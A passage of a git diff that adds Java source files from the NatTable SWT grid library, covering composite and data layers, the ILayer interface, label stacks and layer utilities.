LabelStack getConfigLabelsByPosition(int compositeColumnPosition, int compositeRowPosition) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByPosition(compositeColumnPosition, compositeRowPosition); + if (childLayerInfo == null) { + return new LabelStack(); + } + + ILayer childLayer = childLayerInfo.getLayer(); + int childColumnPosition = compositeColumnPosition - childLayerInfo.getColumnPositionOffset(); + int childRowPosition = compositeRowPosition - childLayerInfo.getRowPositionOffset(); + LabelStack configLabels = childLayer.getConfigLabelsByPosition(childColumnPosition, childRowPosition); + + String regionName = childLayerToRegionNameMap.get(childLayer); + IConfigLabelAccumulator configLabelAccumulator = regionNameToConfigLabelAccumulatorMap.get(regionName); + if (configLabelAccumulator != null) { + configLabelAccumulator.accumulateConfigLabels(configLabels, childColumnPosition, childRowPosition); + } + configLabels.addLabel(regionName); + + return configLabels; + } + + public Object getDataValueByPosition(int compositeColumnPosition, int compositeRowPosition) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByPosition(compositeColumnPosition, compositeRowPosition); + if (childLayerInfo == null) { + return Integer.valueOf(-1); + } + + return childLayerInfo.getLayer().getDataValueByPosition( + compositeColumnPosition - childLayerInfo.getColumnPositionOffset(), + compositeRowPosition - childLayerInfo.getRowPositionOffset()); + } + + // Child layer stuff + + public void setChildLayer(String regionName, ILayer childLayer, final int layoutX, final int layoutY) { + if (childLayer == null) { + throw new IllegalArgumentException("Cannot set null child layer"); + } + + childLayerToRegionNameMap.put(childLayer, regionName); + + childLayer.addLayerListener(this); + childLayerToLayoutCoordinateMap.put(childLayer, new LayoutCoordinate(layoutX, layoutY)); + childLayerLayout[layoutX][layoutY] = childLayer; + + childLayer.setClientAreaProvider(new IClientAreaProvider() { + public Rectangle getClientArea() { + return getChildClientArea(layoutX, layoutY); + } + }); + } + + public IConfigLabelAccumulator getConfigLabelAccumulatorByRegionName(String regionName) { + return regionNameToConfigLabelAccumulatorMap.get(regionName); + } + + /** + * Sets the IConfigLabelAccumulator for the given named region. Replaces any existing IConfigLabelAccumulator. + */ + public void setConfigLabelAccumulatorForRegion(String regionName, IConfigLabelAccumulator configLabelAccumulator) { + regionNameToConfigLabelAccumulatorMap.put(regionName, configLabelAccumulator); + } + + /** + * Adds the configLabelAccumulator to the existing label accumulators. + */ + public void addConfigLabelAccumulatorForRegion(String regionName, IConfigLabelAccumulator configLabelAccumulator) { + IConfigLabelAccumulator existingConfigLabelAccumulator = regionNameToConfigLabelAccumulatorMap.get(regionName); + AggregrateConfigLabelAccumulator aggregateAccumulator; + if (existingConfigLabelAccumulator instanceof AggregrateConfigLabelAccumulator) { + aggregateAccumulator = (AggregrateConfigLabelAccumulator) existingConfigLabelAccumulator; + } else { + aggregateAccumulator = new AggregrateConfigLabelAccumulator(); + aggregateAccumulator.add(existingConfigLabelAccumulator); + regionNameToConfigLabelAccumulatorMap.put(regionName, aggregateAccumulator); + } + aggregateAccumulator.add(configLabelAccumulator); + } + + private Rectangle getChildClientArea(final int layoutX, final int layoutY) { + final ChildLayerInfo childLayerInfo = getChildLayerInfoByLayout(layoutX, layoutY); + + final Rectangle compositeClientArea = getClientAreaProvider().getClientArea(); + + final Rectangle childClientArea = new Rectangle( + compositeClientArea.x + childLayerInfo.getWidthOffset(), + compositeClientArea.y + childLayerInfo.getHeightOffset(), + childLayerInfo.getLayer().getPreferredWidth(), + childLayerInfo.getLayer().getPreferredHeight()); + + final Rectangle intersection = compositeClientArea.intersection(childClientArea); + + return intersection; + } + + /** + * @param layoutX col position in the CompositeLayer + * @param layoutY row position in the CompositeLayer + * @return child layer according to the Composite Layer Layout + */ + public ILayer getChildLayerByLayoutCoordinate(int layoutX, int layoutY) { + return childLayerLayout[layoutX][layoutY]; + } + + /** + * Child layer at the specified pixel position + * @param x pixel value + * @param y pixel value + * @return null if the pixel position is out of bounds. + */ + public ILayer getChildLayerByXY(int x, int y) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByXY(x, y); + return (childLayerInfo == null) + ? null : childLayerInfo.getLayer(); + } + + /** + * @param x pixel position + * @param y pixel position + * @return Region which the given position is in + */ + @Override + public LabelStack getRegionLabelsByXY(int x, int y) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByXY(x, y); + if (childLayerInfo == null) { + + return null; + } + + ILayer childLayer = childLayerInfo.getLayer(); + + int childX = x - childLayerInfo.getWidthOffset(); + int childY = y - childLayerInfo.getHeightOffset(); + LabelStack regionLabels = childLayer.getRegionLabelsByXY(childX, childY); + + String regionName = childLayerToRegionNameMap.get(childLayer); + regionLabels.addLabel(regionName); + + return regionLabels; + } + + public ILayer getUnderlyingLayerByPosition(int columnPosition, int rowPosition) { + return getChildLayerInfoByPosition(columnPosition, rowPosition).getLayer(); + } + + // Child layer info + + private ChildLayerInfo getChildLayerInfoByXY(int x, int y) { + int layoutX = 0; + while (layoutX < layoutXCount) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByLayout(layoutX, 0); + if (childLayerInfo == null) { + return null; + } + if (x < childLayerInfo.getWidthOffset() + childLayerInfo.getLayer().getWidth()) { + break; + } + + layoutX++; + } + + int layoutY = 0; + while (layoutY < layoutYCount) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByLayout(layoutX, layoutY); + if (childLayerInfo == null) { + return null; + } + if (y < childLayerInfo.getHeightOffset() + childLayerInfo.getLayer().getHeight()) { + return childLayerInfo; + } + + layoutY++; + } + + return null; + } + + private ChildLayerInfo getChildLayerInfoByX(int x) { + int layoutX = 0; + while (layoutX < layoutXCount) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByLayout(layoutX, 0); + if (childLayerInfo == null) { + return null; + } + if (x < childLayerInfo.getWidthOffset() + childLayerInfo.getLayer().getWidth()) { + return childLayerInfo; + } + + layoutX++; + } + return null; + } + + protected ChildLayerInfo getChildLayerInfoByColumnPosition(int compositeColumnPosition) { + int layoutX = 0; + while (layoutX < layoutXCount) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByLayout(layoutX, 0); + if (compositeColumnPosition < childLayerInfo.getColumnPositionOffset() + childLayerInfo.getLayer().getColumnCount()) { + return childLayerInfo; + } + + layoutX++; + } + return null; + } + + protected ChildLayerInfo getChildLayerInfoByRowPosition(int compositeRowPosition) { + int layoutY = 0; + while (layoutY < layoutYCount) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByLayout(0, layoutY); + if (compositeRowPosition < childLayerInfo.getRowPositionOffset() + childLayerInfo.getLayer().getRowCount()) { + return childLayerInfo; + } + + layoutY++; + } + + return null; + } + + protected ChildLayerInfo getChildLayerInfoByPosition(int compositeColumnPosition, int compositeRowPosition) { + int layoutX = 0; + while (layoutX < layoutXCount) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByLayout(layoutX, 0); + if (compositeColumnPosition < childLayerInfo.getColumnPositionOffset() + childLayerInfo.getLayer().getColumnCount()) { + break; + } + + layoutX++; + } + + if (layoutX >= layoutXCount) { + return null; + } + + int layoutY = 0; + while (layoutY < layoutYCount) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByLayout(layoutX, layoutY); + if (compositeRowPosition < childLayerInfo.getRowPositionOffset() + childLayerInfo.getLayer().getRowCount()) { + return childLayerInfo; + } + + layoutY++; + } + + return null; + } + + protected ChildLayerInfo getChildLayerInfoByLayout(int layoutX, int layoutY) { + if (layoutX >= layoutXCount || layoutY >= layoutYCount) { + return null; + } + if (childLayerInfos == null) { + populateChildLayerInfos(); + } + return childLayerInfos[layoutX][layoutY]; + } + + protected ChildLayerInfo getChildLayerInfoByChildLayer(ILayer childLayer) { + for (int layoutX = 0; layoutX < layoutXCount; layoutX++) { + for (int layoutY = 0; layoutY < layoutYCount; layoutY++) { + if (childLayer == childLayerLayout[layoutX][layoutY]) { + return getChildLayerInfoByLayout(layoutX, layoutY); + } + } + } + + return null; + } + + /** + * + * @param isPositionMode flag indicating - search for child layer by position or X/Y values. + * @param compositeColumnPositionOrX Composite layer column position or X pixel value + * @param compositeRowPositionOrY Composite layer row position or Y pixel value + * + * @return null if the position or X/y values are outside layer bounds. + */ + protected void populateChildLayerInfos() { + childLayerInfos = new ChildLayerInfo[layoutXCount][layoutYCount]; + + int columnPositionOffset = 0; + int widthOffset = 0; + for (int layoutX = 0; layoutX < layoutXCount; layoutX++) { + int rowPositionOffset = 0; + int heightOffset = 0; + for (int layoutY = 0; layoutY < layoutYCount; layoutY++) { + ILayer childLayer = childLayerLayout[layoutX][layoutY]; + + childLayerInfos[layoutX][layoutY] = new ChildLayerInfo(childLayer, columnPositionOffset, rowPositionOffset, widthOffset, heightOffset); + + if (layoutY < layoutYCount - 1) { + rowPositionOffset += childLayer.getRowCount(); + heightOffset += childLayer.getHeight(); + } + } + + if (layoutX < layoutXCount - 1) { + ILayer childLayer = childLayerLayout[layoutX][0]; + columnPositionOffset += childLayer.getColumnCount(); + widthOffset += childLayer.getWidth(); + } + } + } + + protected static final class ChildLayerInfo { + + private final ILayer layer; + + private final int columnPositionOffset; + private final int rowPositionOffset; + private final int widthOffset; + private final int heightOffset; + + public ChildLayerInfo( + ILayer layer, + int columnPositionOffset, + int rowPositionOffset, + int widthOffset, + int heightOffset) { + this.layer = layer; + this.columnPositionOffset = columnPositionOffset; + this.rowPositionOffset = rowPositionOffset; + this.widthOffset = widthOffset; + this.heightOffset = heightOffset; + } + + public ILayer getLayer() { + return layer; + } + + public int getColumnPositionOffset() { + return columnPositionOffset; + } + + public int getRowPositionOffset() { + return rowPositionOffset; + } + + public int getWidthOffset() { + return widthOffset; + } + + public int getHeightOffset() { + return heightOffset; + } + + } + + protected class CompositeLayerPainter implements ILayerPainter { + + public void paintLayer(ILayer natLayer, GC gc, int xOffset, int yOffset, Rectangle rectangle, IConfigRegistry configuration) { + int x = xOffset; + for (int layoutX = 0; layoutX < layoutXCount; layoutX++) { + int y = yOffset; + for (int layoutY = 0; layoutY < layoutYCount; layoutY++) { + ILayer childLayer = childLayerLayout[layoutX][layoutY]; + + Rectangle childLayerRectangle = new Rectangle(x, y, childLayer.getWidth(), childLayer.getHeight()); + + childLayerRectangle = rectangle.intersection(childLayerRectangle); + + Rectangle originalClipping = gc.getClipping(); + gc.setClipping(childLayerRectangle); + + childLayer.getLayerPainter().paintLayer(natLayer, gc, x, y, childLayerRectangle, configuration); + + gc.setClipping(originalClipping); + y += childLayer.getHeight(); + } + + x += childLayerLayout[layoutX][0].getWidth(); + } + } + + public Rectangle adjustCellBounds(Rectangle cellBounds) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByXY(cellBounds.x, cellBounds.y); + + int widthOffset = childLayerInfo.getWidthOffset(); + int heightOffset = childLayerInfo.getHeightOffset(); + + cellBounds.x -= widthOffset; + cellBounds.y -= heightOffset; + + Rectangle adjustedChildCellBounds = childLayerInfo.getLayer().getLayerPainter().adjustCellBounds(cellBounds); + + adjustedChildCellBounds.x += widthOffset; + adjustedChildCellBounds.y += heightOffset; + + return adjustedChildCellBounds; + } + + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/DataLayer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/DataLayer.java new file mode 100644 index 0000000..f486efb --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/DataLayer.java @@ -0,0 +1,318 @@ +package net.sourceforge.nattable.layer; + +import java.util.Collection; +import java.util.Properties; + +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.data.IDataProvider; +import net.sourceforge.nattable.edit.command.UpdateDataCommandHandler; +import net.sourceforge.nattable.layer.event.StructuralRefreshEvent; +import net.sourceforge.nattable.resize.command.ColumnResizeCommandHandler; +import net.sourceforge.nattable.resize.command.MultiColumnResizeCommandHandler; +import net.sourceforge.nattable.resize.command.MultiRowResizeCommandHandler; +import net.sourceforge.nattable.resize.command.RowResizeCommandHandler; +import net.sourceforge.nattable.resize.event.ColumnResizeEvent; +import net.sourceforge.nattable.resize.event.RowResizeEvent; + +/** + * Wraps the {@link IDataProvider}, and serves as the data source for all + * other layers. Also, tracks the size of the columns and the rows using + * {@link SizeConfig} objects. Since this layer sits directly on top of the + * data source, at this layer index == position. + */ +public class DataLayer extends AbstractLayer implements IUniqueIndexLayer { + + public static final String PERSISTENCE_KEY_ROW_HEIGHT = ".rowHeight"; + public static final String PERSISTENCE_KEY_COLUMN_WIDTH = ".columnWidth"; + + public static final int DEFAULT_COLUMN_WIDTH = 100; + public static final int DEFAULT_ROW_HEIGHT = 20; + + protected IDataProvider dataProvider; + + private final SizeConfig columnWidthConfig; + private final SizeConfig rowHeightConfig; + + public DataLayer(IDataProvider dataProvider) { + this(dataProvider, DEFAULT_COLUMN_WIDTH, DEFAULT_ROW_HEIGHT); + } + + public DataLayer(IDataProvider dataProvider, int defaultColumnWidth, int defaultRowHeight) { + this.dataProvider = dataProvider; + + columnWidthConfig = new SizeConfig(defaultColumnWidth); + rowHeightConfig = new SizeConfig(defaultRowHeight); + + registerCommandHandlers(); + } + + protected DataLayer() { + this(DEFAULT_COLUMN_WIDTH, DEFAULT_ROW_HEIGHT); + } + + protected DataLayer(int defaultColumnWidth, int defaultRowHeight) { + columnWidthConfig = new SizeConfig(defaultColumnWidth); + rowHeightConfig = new SizeConfig(defaultRowHeight); + + registerCommandHandlers(); + } + + // Persistence + + @Override + public void saveState(String prefix, Properties properties) { + super.saveState(prefix, properties); + columnWidthConfig.saveState(prefix + PERSISTENCE_KEY_COLUMN_WIDTH, properties); + rowHeightConfig.saveState(prefix + PERSISTENCE_KEY_ROW_HEIGHT, properties); + } + + @Override + public void loadState(String prefix, Properties properties) { + super.loadState(prefix, properties); + columnWidthConfig.loadState(prefix + PERSISTENCE_KEY_COLUMN_WIDTH, properties); + rowHeightConfig.loadState(prefix + PERSISTENCE_KEY_ROW_HEIGHT, properties); + fireLayerEvent(new StructuralRefreshEvent(this)); + } + + // Configuration + + private void registerCommandHandlers() { + registerCommandHandler(new ColumnResizeCommandHandler(this)); + registerCommandHandler(new MultiColumnResizeCommandHandler(this)); + registerCommandHandler(new RowResizeCommandHandler(this)); + registerCommandHandler(new MultiRowResizeCommandHandler(this)); + registerCommandHandler(new UpdateDataCommandHandler(this)); + } + + public IDataProvider getDataProvider() { + return dataProvider; + } + + protected void setDataProvider(IDataProvider dataProvider) { + this.dataProvider = dataProvider; + } + + // Horizontal features + + // Columns + + public int getColumnCount() { + return dataProvider.getColumnCount(); + } + + public int getPreferredColumnCount() { + return getColumnCount(); + } + + /** + * This is the root coordinate system, so the column index is always equal to the column position. + */ + public int getColumnIndexByPosition(int columnPosition) { + if (columnPosition >=0 && columnPosition < getColumnCount()) { + return columnPosition; + } else { + return -1; + } + } + + /** + * This is the root coordinate system, so the column position is always equal to the column index. + */ + public int getColumnPositionByIndex(int columnIndex) { + if (columnIndex >=0 && columnIndex < getColumnCount()) { + return columnIndex; + } else { + return -1; + } + } + + public int localToUnderlyingColumnPosition(int localColumnPosition) { + return localColumnPosition; + } + + public int underlyingToLocalColumnPosition(ILayer sourceUnderlyingLayer, int underlyingColumnPosition) { + return underlyingColumnPosition; + } + + public Collection underlyingToLocalColumnPositions(ILayer sourceUnderlyingLayer, Collection underlyingColumnPositionRanges) { + return underlyingColumnPositionRanges; + } + + // Width + + public int getWidth() { + return columnWidthConfig.getAggregateSize(getColumnCount()); + } + + public int getPreferredWidth() { + return getWidth(); + } + + public int getColumnWidthByPosition(int columnPosition) { + return columnWidthConfig.getSize(columnPosition); + } + + public void setColumnWidthByPosition(int columnPosition, int width) { + columnWidthConfig.setSize(columnPosition, width); + fireLayerEvent(new ColumnResizeEvent(this, columnPosition)); + } + + public void setDefaultColumnWidth(int width) { + columnWidthConfig.setDefaultSize(width); + } + + public void setDefaultColumnWidthByPosition(int columnPosition, int width) { + columnWidthConfig.setDefaultSize(columnPosition, width); + } + + // Column resize + + public boolean isColumnPositionResizable(int columnPosition) { + return columnWidthConfig.isPositionResizable(columnPosition); + } + + public void setColumnPositionResizable(int columnPosition, boolean resizable) { + columnWidthConfig.setPositionResizable(columnPosition, resizable); + } + + public void setColumnsResizableByDefault(boolean resizableByDefault) { + columnWidthConfig.setResizableByDefault(resizableByDefault); + } + + // Underlying + + public Collection getUnderlyingLayersByColumnPosition(int columnPosition) { + return null; + } + + // Vertical features + + // Rows + + public int getRowCount() { + return dataProvider.getRowCount(); + } + + public int getPreferredRowCount() { + return getRowCount(); + } + + /** + * This is the root coordinate system, so the row index is always equal to the row position. + */ + public int getRowIndexByPosition(int rowPosition) { + if (rowPosition >=0 && rowPosition < getRowCount()) { + return rowPosition; + } else { + return -1; + } + } + + /** + * This is the root coordinate system, so the row position is always equal to the row index. + */ + public int getRowPositionByIndex(int rowIndex) { + if (rowIndex >= 0 && rowIndex < getRowCount()) { + return rowIndex; + } else { + return -1; + } + } + + public int localToUnderlyingRowPosition(int localRowPosition) { + return localRowPosition; + } + + public int underlyingToLocalRowPosition(ILayer sourceUnderlyingLayer, int underlyingRowPosition) { + return underlyingRowPosition; + } + + public Collection underlyingToLocalRowPositions(ILayer sourceUnderlyingLayer, Collection underlyingRowPositionRanges) { + return underlyingRowPositionRanges; + } + + // Height + + public int getHeight() { + return rowHeightConfig.getAggregateSize(getRowCount()); + } + + public int getPreferredHeight() { + return getHeight(); + } + + public int getRowHeightByPosition(int rowPosition) { + return rowHeightConfig.getSize(rowPosition); + } + + /** + * Set current row size without notify resize event; + * @param row + * @param height ; + */ + public void setRowHeightByPositionWithoutEvent(int rowPosition, int height) { + rowHeightConfig.setSize(rowPosition, height); + } + + public void setRowHeightByPosition(int rowPosition, int height) { + rowHeightConfig.setSize(rowPosition, height); + fireLayerEvent(new RowResizeEvent(this, rowPosition)); + } + + public void setDefaultRowHeight(int height) { + rowHeightConfig.setDefaultSize(height); + } + + public void setDefaultRowHeightByPosition(int rowPosition, int height) { + rowHeightConfig.setDefaultSize(rowPosition, height); + } + + // Row resize + + public boolean isRowPositionResizable(int rowPosition) { + return rowHeightConfig.isPositionResizable(rowPosition); + } + + public void setRowPositionResizable(int rowPosition, boolean resizable) { + rowHeightConfig.setPositionResizable(rowPosition, resizable); + } + + public void setRowsResizableByDefault(boolean resizableByDefault) { + rowHeightConfig.setResizableByDefault(resizableByDefault); + } + + // Underlying + + public Collection getUnderlyingLayersByRowPosition(int rowPosition) { + return null; + } + + // Cell features + + public Object getDataValueByPosition(int columnPosition, int rowPosition) { + int columnIndex = getColumnIndexByPosition(columnPosition); + int rowIndex = getRowIndexByPosition(rowPosition); + return dataProvider.getDataValue(columnIndex, rowIndex); + } + + public int getColumnPositionByX(int x) { + return LayerUtil.getColumnPositionByX(this, x); + } + + public int getRowPositionByY(int y) { + return LayerUtil.getRowPositionByY(this, y); + } + + public int getStartXOfColumnPosition(int columnPosition) { + return columnWidthConfig.getAggregateSize(columnPosition); + } + + public int getStartYOfRowPosition(int rowPosition) { + return rowHeightConfig.getAggregateSize(rowPosition); + } + + public ILayer getUnderlyingLayerByPosition(int columnPosition, int rowPosition) { + return null; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/ILayer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/ILayer.java new file mode 100644 index 0000000..caf1919 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/ILayer.java @@ -0,0 +1,283 @@ +package net.sourceforge.nattable.layer; + +import java.util.Collection; +import java.util.Properties; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.config.ConfigRegistry; +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.layer.event.ILayerEvent; +import net.sourceforge.nattable.layer.event.IVisualChangeEvent; +import net.sourceforge.nattable.painter.layer.ILayerPainter; +import net.sourceforge.nattable.persistence.IPersistable; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.style.DisplayMode; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; +import net.sourceforge.nattable.util.IClientAreaProvider; + +import org.eclipse.swt.graphics.Rectangle; + +/** + *

    + * A Layer is a rectangular region of grid cells. A layer has methods to access its columns, rows, width and height. A + * layer can be stacked on top of another layer in order to expose a transformed view of its underlying layer's grid + * cell structure. + *

    + *

    + * Columns and rows in a layer are referenced either by position or index. The position of a column/row in + * a layer corresponds to the physical location of the column/row in the layer. The index of a column/row in a layer + * corresponds to the location of the column/row in the lowest level layer in the layer stack. These concepts are + * illustrated by the following example: + *

    + *
    + * Hide Layer C
    + * 0 1 2 3 4 <- column positions
    + * 1 0 3 4 5 <- column indexes
    + *
    + * Reorder Layer B
    + * 0 1 2 3 4 5 <- column positions
    + * 2 1 0 3 4 5 <- column indexes
    + *
    + * Data Layer A
    + * 0 1 2 3 4 5 <- column positions
    + * 0 1 2 3 4 5 <- column indexes
    + * 
    + *

    + * In the above example, Hide Layer C is stacked on top of Reorder Layer B, which is in turn stacked on top of Data + * Layer A. The positions in Data Layer A are the same as its indexes, because it is the lowest level layer in the + * stack. Reorder Layer B reorders column 0 of its underlying layer (Data Layer A) after column 2 of its underlying + * layer. Hide Layer C hides the first column of its underlying layer (Reorder Layer B). + *

    + *

    + * Layers can also be laterally composed into larger layers. For instance, the standard grid layer is composed of a + * body layer, column header layer, row header layer, and corner layer: + *

    + * + * + * + *
    cornercolumn header
    row headerbody
    + * + * @see CompositeLayer + */ +public interface ILayer extends ILayerListener, IPersistable { + + // Persistence + + /** + * Persistables registered with a layer will have a chance to write their data out to the + * {@link Properties} instance when the layer is persisted. + */ + public void registerPersistable(IPersistable persistable); + + public void unregisterPersistable(IPersistable persistable); + + // Configuration + + /** + * Every layer gets this call back, starting at the top of the stack. This is triggered + * by the {@link NatTable#configure()} method. This is an opportunity to add + * any key/mouse bindings and other general configuration. + * + * @param configRegistry instance owned by {@link NatTable} + * @param uiBindingRegistry instance owned by {@link NatTable} + */ + public void configure(ConfigRegistry configRegistry, UiBindingRegistry uiBindingRegistry); + + // Region + + /** + * Layer can apply its own labels to any cell it wishes. + */ + public LabelStack getRegionLabelsByXY(int x, int y); + + // Commands + + /** + * Opportunity to respond to a command as it flows down the stack. If the layer + * is not interested in the command it should allow the command to keep traveling + * down the stack. + * + * Note: Before the layer can process a command it must convert the + * command to its local co-ordinates using {@link ILayerCommand#convertToTargetLayer(ILayer)} + * + * @return true if the command has been handled, false otherwise + */ + public boolean doCommand(ILayerCommand command); + + // Events + + /** + * Events can be fired to notify other components of the grid.
    + * Events travel up the layer stack and may cause a repaint. + * + * Example: When the contents of the grid change {@link IVisualChangeEvent} can be + * fired to notify other layers to refresh their caches etc. + */ + public void fireLayerEvent(ILayerEvent event); + + public void addLayerListener(ILayerListener listener); + + public void removeLayerListener(ILayerListener listener); + + public ILayerPainter getLayerPainter(); + + // Client area + + public IClientAreaProvider getClientAreaProvider(); + + public void setClientAreaProvider(IClientAreaProvider clientAreaProvider); + + // Horizontal features + + // Columns + + /** + * Returns the number of columns in this coordinate model. + */ + public int getColumnCount(); + + public int getPreferredColumnCount(); + + /** + * Gets the underlying non-transformed column index for the given column position. + * @param columnPosition a column position relative to this coordinate model + * @return an underlying non-transformed column index, or -1 if the given column position does not exist within this + * coordinate system + */ + public int getColumnIndexByPosition(int columnPosition); + + /** + * Convert a column position to the coordinates of the underlying layer. + * This is possible since each layer is aware of its underlying layer. + * @param localColumnPosition column position in local (the layer's own) coordinates + */ + public int localToUnderlyingColumnPosition(int localColumnPosition); + + public int underlyingToLocalColumnPosition(ILayer sourceUnderlyingLayer, int underlyingColumnPosition); + + public Collection underlyingToLocalColumnPositions(ILayer sourceUnderlyingLayer, Collection underlyingColumnPositionRanges); + + // Width + + /** + * Returns the total width of this layer. + */ + public int getWidth(); + + public int getPreferredWidth(); + + /** + * Returns the width of the given column. + * @param columnPosition the column position relative to the associated coordinate system + * @return the width of the column, in pixels + */ + public int getColumnWidthByPosition(int columnPosition); + + // Column resize + + public boolean isColumnPositionResizable(int columnPosition); + + // X + + /** + * Returns the column position that contains the given x coordinate. + * @param x a horizontal pixel location relative to the pixel boundary of this layer + * @return a column position relative to the associated coordinate system, or -1 if there is no column that contains x + */ + public int getColumnPositionByX(int x); + + /** + * @param columnPosition + * @return starting X coordinate of the column position + */ + public int getStartXOfColumnPosition(int columnPosition); + + // Underlying + + public Collection getUnderlyingLayersByColumnPosition(int columnPosition); + + // Vertical features + + // Rows + + /** + * Returns the number of rows in this coordinate model. + */ + public int getRowCount(); + + public int getPreferredRowCount(); + + /** + * Gets the underlying non-transformed row index for the given row position. + * @param rowPosition a row position relative to this coordinate model + * @return an underlying non-transformed row index, or -1 if the given row position does not exist within this + * coordinate system + */ + public int getRowIndexByPosition(int rowPosition); + + public int localToUnderlyingRowPosition(int localRowPosition); + + public int underlyingToLocalRowPosition(ILayer sourceUnderlyingLayer, int underlyingRowPosition); + + public Collection underlyingToLocalRowPositions(ILayer sourceUnderlyingLayer, Collection underlyingRowPositionRanges); + + // Height + + /** + * Returns the total height of this layer. + */ + public int getHeight(); + + public int getPreferredHeight(); + + /** + * Returns the height of the given row. + * @param rowPosition the row position relative to the associated coordinate system + * @return the height of the row, in pixels + */ + public int getRowHeightByPosition(int rowPosition); + + // Row resize + + public boolean isRowPositionResizable(int rowPosition); + + // Y + + /** + * Returns the row position that contains the given y coordinate. + * @param y a vertical pixel location relative to the pixel boundary of this layer + * @return a row position relative to the associated coordinate system, or -1 if there is no row that contains y + */ + public int getRowPositionByY(int y); + + public int getStartYOfRowPosition(int rowPosition); + + // Underlying + + public Collection getUnderlyingLayersByRowPosition(int rowPosition); + + // Cell features + + public LayerCell getCellByPosition(int columnPosition, int rowPosition); + + public Rectangle getBoundsByPosition(int columnPosition, int rowPosition); + + /** + * @return {@link DisplayMode} for the cell at the given position.
    + * The {@link DisplayMode} affects the settings out of the {@link ConfigRegistry}. + * Display mode is NORMAL by default.
    + * + * Example: {@link SelectionLayer} overrides this to return the SELECT + * label for cells which are selected. + */ + public String getDisplayModeByPosition(int columnPosition, int rowPosition); + + public LabelStack getConfigLabelsByPosition(int columnPosition, int rowPosition); + + public Object getDataValueByPosition(int columnPosition, int rowPosition); + + public ILayer getUnderlyingLayerByPosition(int columnPosition, int rowPosition); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/ILayerListener.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/ILayerListener.java new file mode 100644 index 0000000..aa98849 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/ILayerListener.java @@ -0,0 +1,16 @@ +package net.sourceforge.nattable.layer; + +import net.sourceforge.nattable.layer.event.ILayerEvent; + + +/** + * Object interested in receiving events related to a {@link ILayer}. + */ +public interface ILayerListener { + + /** + * Handle an event notification from an {@link ILayer} + */ + public void handleLayerEvent(ILayerEvent event); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/IUniqueIndexLayer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/IUniqueIndexLayer.java new file mode 100644 index 0000000..89c1f0e --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/IUniqueIndexLayer.java @@ -0,0 +1,14 @@ +package net.sourceforge.nattable.layer; + +/** + * A layer that has a set of column and row indexes that contain no duplicates, + * such that there is only one corresponding column or row position for a row or + * column index in the layer. + */ +public interface IUniqueIndexLayer extends ILayer { + + public int getColumnPositionByIndex(int columnIndex); + + public int getRowPositionByIndex(int rowIndex); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/LabelStack.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/LabelStack.java new file mode 100644 index 0000000..9b1ac37 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/LabelStack.java @@ -0,0 +1,65 @@ +package net.sourceforge.nattable.layer; + +import java.util.LinkedList; +import java.util.List; + +public class LabelStack { + + /** + * List implementation saves the overhead of popping labels off + * in the {@link #getLabels()} method + */ + private final List labels = new LinkedList(); + + public LabelStack(String...labelNames) { + for (String label : labelNames) { + if (label != null) { + labels.add(label); + } + } + } + + /** + * Adds a label to the bottom of the label stack. + * @param label + */ + public void addLabel(String label) { + if(! hasLabel(label)){ + labels.add(label); + } + } + + public List getLabels() { + return labels; + } + + public boolean hasLabel(String label) { + return labels.contains(label); + } + + @Override + public String toString() { + return labels.toString(); + } + + @Override + public boolean equals(Object obj) { + if (obj == this) { + return true; + } + + if (!(obj instanceof LabelStack)) { + return false; + } + + LabelStack that = (LabelStack) obj; + + return this.labels.equals(that.labels); + } + + @Override + public int hashCode() { + return labels.hashCode(); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/LayerUtil.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/LayerUtil.java new file mode 100644 index 0000000..7a930eb --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/LayerUtil.java @@ -0,0 +1,85 @@ +package net.sourceforge.nattable.layer; + +public class LayerUtil { + + public static final int getColumnPositionByX(ILayer layer, int x) { + int width = layer.getWidth(); + + if (x < 0 || x >= width) { + return -1; + } + + return findColumnPosition(0, 0, layer, x, width, layer.getColumnCount()); + } + + protected static final int findColumnPosition(int xOffset, int columnOffset, ILayer layer, int x, int totalWidth, int columnCount) { + double size = (double) (totalWidth - xOffset) / (columnCount - columnOffset); + int columnPosition = columnOffset + (int) ((x - xOffset) / size); + + int startX = layer.getStartXOfColumnPosition(columnPosition); + int endX = startX + 